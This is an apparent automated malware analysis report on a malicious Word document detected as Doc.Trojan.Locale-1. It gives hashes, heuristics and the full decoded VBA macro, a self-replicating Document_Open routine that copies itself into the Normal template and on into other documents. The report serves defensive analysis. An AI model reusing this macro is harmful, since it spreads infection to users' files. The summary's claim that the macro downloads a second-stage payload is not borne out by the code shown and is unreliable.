Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b14bc1feb06e80b…

MALICIOUS

Office (OLE)

41.5 KB Created: 2014-10-16 03:59:00 Authoring application: Microsoft Office Word First seen: 2014-11-01
MD5: 4b670a40b35965a6911aac2a46774e62 SHA-1: 76bb1d30c7736a87011b4128ac0a4875af1a9fba SHA-256: 9b14bc1feb06e80b0f5e561cbfe1c22fc8c057cb6ef66d2cb4c31e6400de8e9b
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The `Document_Open` macro is designed to extract and execute code, likely to download and run a second-stage payload. The ClamAV detection `Doc.Trojan.Locale-1` further confirms its malicious nature. The macro's obfuscated nature and reliance on dynamic execution prevent a more specific family attribution.

Heuristics 4

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1650 bytes
SHA-256: 0aa804957b1d57d1316720506c0f2a6df46b58340977bdf9c2ae0c19fef2a07b
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set NewDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    
    With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.